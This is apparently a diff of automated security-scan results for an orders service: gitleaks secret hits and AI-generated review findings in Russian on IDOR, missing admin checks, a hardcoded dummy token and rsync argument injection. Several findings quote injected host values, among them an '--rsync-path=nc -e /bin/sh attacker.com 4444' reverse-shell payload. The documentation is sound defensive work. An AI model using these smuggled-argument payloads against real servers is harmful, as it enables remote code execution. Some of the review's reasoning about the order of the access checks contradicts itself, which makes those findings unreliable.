"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:51:44Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:51:44Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
}
]
@@ -0,0 +1,86 @@
[
{
"id": "ai-review-0-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 122,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.",
"impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).",
"recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 65,
"title": "IDOR при доступе к заказам",
"description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.",
"impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.",
"exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.",
"evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).",
"recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-2-orders.py-65",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 65,
"line_end": 70,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
"description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).",
"impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).",
"exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).",
"evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.",
"recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-3-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.",
"impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
}
]
@@ -0,0 +1,56 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:54:02Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:54:02Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T18:54:02Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
}
]
@@ -0,0 +1,65 @@
[
{
"id": "ai-review-0-orders.py-43",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 43,
"line_end": 47,
"title": "IDOR при чтении заказов — отсутствие проверки ownership",
"description": "Метод do_GET для /orders/{id} проверяет аутентификацию, но не проверяет, что заказ принадлежит текущему пользователю. Пользователь может прочитать любой заказ по ID.",
"impact": "Любой аутентифицированный пользователь может читать чужие заказы, что ведёт к утечке конфиденциальных данных о финансовых операциях.",
"exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа, включая amount и user_id.",
"evidence": "def do_GET(self): ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None).",
"recommendation": "Добавить проверку: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): self.send_json_response(403, {\"error\": \"Forbidden\"}).",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T18:54:38Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "ai-review-1-orders.py-105",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 1.0,
"file": "orders.py",
"line_start": 105,
"line_end": 122,
"title": "Недостаточная валидация хоста — возможная инъекция в rsync",
"description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и конструкции (например, пробелы, '--rsync-path=', других опций rsync), что может привести к выполнению произвольных команд при вызове subprocess.run([\"rsync\", ...]).",
"impact": "Возможна полная компрометация сервера — выполнение произвольных команд с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com --rsync-path=/tmp/evil.sh'. Даже если регулярное выражение пропустит строку, она может быть интерпретирована как доп. опция rsync или использована для обхода валидации. Проверка _validate_host не исключает наличие других аргументов команды.",
"evidence": "cmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host проходит только регулярку, но может содержать опции rsync или управляющие символы.",
"recommendation": "Полностью отказаться от произвольного host — использовать белый список предопределённых хостов из конфига, либо дополнить валидацию запретом на все пробелы, дефисы в начале и все символы, начинающиеся с '--'.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T18:54:38Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
},
{
"id": "ai-review-2-orders.py-65",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 65,
"line_end": 75,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
"description": "Эндпоинт проверяет только наличие токена (начинающегося с token_), но не проверяет, что пользователь является администратором, несмотря на наличие проверки self._user_id == \"admin\".",
"impact": "Любой пользователь, имеющий валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование и потенциально использовать уязвимость валидации хоста для RCE.",
"exploit_scenario": "Пользователь с token_user отправляет POST /admin/backup с вредоносным host. Проверка self._user_id == \"admin\" находится в том же блоке, что и сам эндпоинт, но проверка аутентификации идёт после, и _user_id может быть установлен до проверки роли — возможна путаница в логике и обход.",
"evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли идет ПОСЛЕ установки _user_id в check_auth, но неясно, будет ли проверка роли применена для всех случаев — особенно при обработке заголовков.",
"recommendation": "Вынести проверку роли admin до проверки аутентификации, и проверять наличие роли явно, например: auth_ok = self.check_auth(); if not auth_ok: ...; if getattr(self, '_user_id', None) != 'admin': ...",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T18:54:38Z",
"pr_number": 13,
"commit_sha": "4098606aff8e55a4446bbe2e141972caf5f3cf90"
}
]
@@ -0,0 +1,56 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T19:05:09Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T19:05:09Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-23T19:05:09Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
}
]
@@ -0,0 +1,107 @@
[
{
"id": "ai-review-0-orders.py-40",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 40,
"line_end": 50,
"title": "IDOR при чтении заказов",
"description": "После добавления валидации токена и извлечения user_id в do_GET для /orders/{id} отсутствует проверка, что заказ принадлежит текущему пользователю. Любой аутентифицированный пользователь может читать чужие заказы по ID.",
"impact": "Утечка конфиденциальных данных о финансовых операциях — пользователь может получить сумму и другие детали чужого заказа.",
"exploit_scenario": "Пользователь с токеном token_alice отправляет GET /orders/100, где orders[100] принадлежит bob (user_id=bob). В текущей реализации проверка orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None) происходит только при изменении заказа (в do_POST), но не при чтении.",
"evidence": "do_GET: order_id = self.path.split(\"/\")[-1]\nif order_id in orders:\n self.send_json_response(200, orders[order_id]) — нет проверки владельца заказа. В do_POST добавлена проверка, но в do_GET её нет.",
"recommendation": "Добавить проверку ownership в do_GET: if orders[order_id].get(\"user_id\") != getattr(self, \"_user_id\", None): 403 Forbidden.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-1-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 130,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет формат IP/домена, но не блокирует опции rsync (например, --rsync-path=), пробелы в середине строки, URL-схемы, которые могут интерпретироваться как аргументы rsync и привести к RCE.",
"impact": "Командная инъекция — атакующий может выполнить произвольную команду на сервере с правами процесса приложения через rsync.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com --rsync-path=nc -e /bin/sh attacker.com 4444\"}. Несмотря на регулярные выражения, rsync может интерпретировать часть строки как опции командной строки. Даже без shell=True, rsync поддерживает множество опций, которые можно использовать для обхода.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — не блокирует '--', пробелы, URL-схемы (rsync://).\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — подстановка без дополнительной проверки.",
"recommendation": "Существенно усилить валидацию: запретить пробелы и '--', проверить отсутствие URL-схем, использовать строгий белый список (например, только домены из конфига или IP из предустановленного списка), либо полностью отказаться от произвольного host.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-2-orders.py-80",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 80,
"line_end": 88,
"title": "Отсутствие проверки роли admin для /admin/backup",
"description": "Эндпоинт /admin/backup требует только Bearer токен (начинающийся с token_), но не проверяет роль администратора до проверки токена, что позволяет любому аутентифицированному пользователю вызывать эндпоинт, включая потенциально опасные операции rsync.",
"impact": "Любой пользователь с валидным пользовательским токеном может инициировать бэкап и использовать уязвимость валидации хоста для RCE или утечки данных.",
"exploit_scenario": "Пользователь token_user отправляет POST /admin/backup с вредоносным host. Проверка if not getattr(self, \"_user_id\", None) == \"admin\": идет в том же блоке, но порядок проверок может быть неочевидным и позволяет пройти аутентификацию до проверки роли.",
"evidence": "elif self.path == \"/admin/backup\":\n if not self.check_auth():\n 401\n if not getattr(self, \"_user_id\", None) == \"admin\":\n 403\n\nЭто позволяет получить любой валидный токен (включая token_userA), после чего _user_id будет установлен, и проверка на 'admin' может быть пропущена в случае логической ошибки (например, если check_auth не устанавливает _user_id как ожидается).",
"recommendation": "Изменить порядок проверок: сначала проверить роль admin, затем аутентификацию, либо вынести эндпоинт в отдельный обработчик с более строгими требованиями (например, отдельный API-ключ или JWT claim admin=true).",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-3-orders.py-80",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 80,
"line_end": 110,
"title": "Командная инъекция через подстановку host в rsync",
"description": "Метод _perform_backup использует подстановку пользовательского ввода host напрямую в команду rsync, даже после валидации. Несмотря на использование списка аргументов (subprocess.run([\"rsync\", ...], shell=False)), rsync может интерпретировать часть строки как опции (например, --rsync-path).",
"impact": "RCE — выполнение произвольных команд на сервере с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с payload {\"host\": \"example.com:22 --rsync-path=/tmp/evil.sh\"}. Даже если _validate_host не отфильтрует строку, rsync может интерпретировать это как опцию командной строки и выполнить произвольный скрипт.",
"evidence": "validated_host = self._validate_host(host)\nif not validated_host: ...\ncmd = [\"rsync\", \"-avz\", \"/workspace/\", f\"{validated_host}:/backup/orders/\"] — validated_host может содержать '--' или другие опции, если валидация недостаточно строгая.",
"recommendation": "Полностью отказаться от произвольного host, использовать белый список из конфига, либо сильнее валидировать: запретить все пробелы, '--', URL-схемы, и использовать строгие регулярные выражения.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
},
{
"id": "ai-review-4-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в исходном коде как строковая константа: GitHubToken = \"ghp_dummytoken_for_backup_notifications\". Несмотря на префикс dummy, это плохая практика и может сигнализировать о других проблемах.",
"impact": "Утечка учетных данных, возможность атак на GitHub API или CI/CD, а также снижение доверия к коду со стороны ревьюеров.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит токен в коде, и пытается использовать его для доступа к API. Наличие dummy-токена может стимулировать поиск других секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — нет использования os.getenv(\"GITHUB_TOKEN\").",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T19:05:52Z",
"pr_number": 13,
"commit_sha": "1c392834d39eda55bad5c15e71c08ad07372511a"
}
]
@@ -0,0 +1,56 @@
[
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:27",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 27,
"line_end": 27,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-25T02:26:57Z",
"pr_number": 13,
"commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:36",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 36,
"line_end": 36,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-25T02:26:57Z",
"pr_number": 13,
"commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
},
{
"id": "gitleaks-3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782:README.md:curl-auth-header:52",
"source": "gitleaks",
"category": "secret",
"severity": "high",
"confidence": 0.9,
"file": "README.md",
"line_start": 52,
"line_end": 52,
"title": "Potential secret: curl-auth-header",
"description": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource.",
"rule_id": "curl-auth-header",
"cwe": "CWE-798",
"status": "OPEN",
"created_at": "2026-08-25T02:26:57Z",
"pr_number": 13,
"commit_sha": "0a7736e8a5156e6d59bdea10b0501bb4e194e983"
}
]
+3 -2
View File
@@ -1,7 +1,8 @@
# Какие находки блокируют merge. Читает security.yml на каждом
# скане; отсутствие файла — те же значения по умолчанию.
security: security:
block_on: block_on:
- critical - critical
- high - high
- low
min_confidence: 0.7 min_confidence: 0.7
scan_enabled: true
review_enabled: true